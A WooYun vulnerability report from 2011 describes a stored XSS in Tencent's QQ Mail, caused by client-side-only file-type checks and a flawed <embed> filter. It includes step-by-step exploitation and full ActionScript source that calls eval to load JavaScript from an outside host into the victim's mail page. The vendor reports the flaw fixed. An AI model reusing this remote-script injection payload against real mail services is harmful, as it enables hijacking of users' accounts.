当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2011-03314

漏洞标题:QQ邮箱XSS,邮件中可调用外部javascript文件

相关厂商:腾讯

漏洞作者: gainover

提交时间:2011-11-15 21:15

修复时间:2011-11-16 14:40

公开时间:2011-11-16 14:40

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-11-15: 细节已通知厂商并且等待厂商处理中
2011-11-16: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

这个是之前反馈的老漏洞了,咨询了下wooyun,回复说可以提交上来,于是就来提交了,想赚点Rank,不知道行不行啊!
漏洞:QQ邮箱对上传图片部分,文件类型未过滤,同时对HTML标签<embed>在过滤上存在问题,2个联用导致可以通过上传FLASH文件,通过FLASH调用任意javascript文件。

详细说明:

漏洞的主要成因:
1. 对图片附件的上传,仅做了客户端判断,未在服务器上进行判断,我们可以绕过限制上传任意类型文件(本次主要是用来上传flash文件~)!
2. 对HTML的过滤上存在问题,当 <embed src="相对路径" type="application/x-shockwave-flash"></embed> 中src=相对路径时,embed标签不会被过滤!

漏洞证明:

下面是漏洞利用过程!
1. 文件类型仅在客户端验证,当我在QQ邮箱上传图片附件的位置,上传一个FLASH文件时,会有以下提示!


2. 抓包分析,可以发现,出现该提示时,并没有任何数据请求,即是在客户端进行了判断!
3. 既然只在客户端做了判断,我们就自己上传其它类型文件试试(如何绕过客户端限制,这里就不多说了)。 结果:发现,除了图片之外,其它类型都可以上传。于是我们就上传一个自己的FLASH文件。


上传成功后的页面里,可以找到上传成功的FLASH文件地址。
4. 编写邮件,切换至HTML模式,写入以下内容
<embed src="刚才复制的FLASH文件地址" type="application/x-shockwave-flash"></embed>
<img src="刚才复制的FLASH文件地址"></img>
5. 发送邮件出去, 当对方点开邮件后, 效果如下(IE,chrome,FF下均有效):


6. 由于<embed> 标记里没有 allowscriptaccess 和 allownetworking来控制FLASH的权限!所以通过flash来执行JS代码不会受到限制。
最后附上所用FLASH的AS代码:
package {
import flash.display.Sprite;
import flash.external.ExternalInterface;
public class QQmailTest extends Sprite
{
public function QQmailTest()
{
if(flash.external.ExternalInterface.available){
flash.external.ExternalInterface.call("eval","(function(){var s=document.createElement('script');s.type='text/javascript';s.src='http://www.toolmao.com/tool/qqmail.js';document.body.appendChild(s);})()");
}
}
}
}

修复方案:

由于是之前的漏洞,此漏洞已被厂商修复。

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2011-11-16 14:40

厂商回复:

非常感谢gainover报告的该漏洞,目前已经修复

漏洞Rank:8 (WooYun评价)

最新状态:

暂无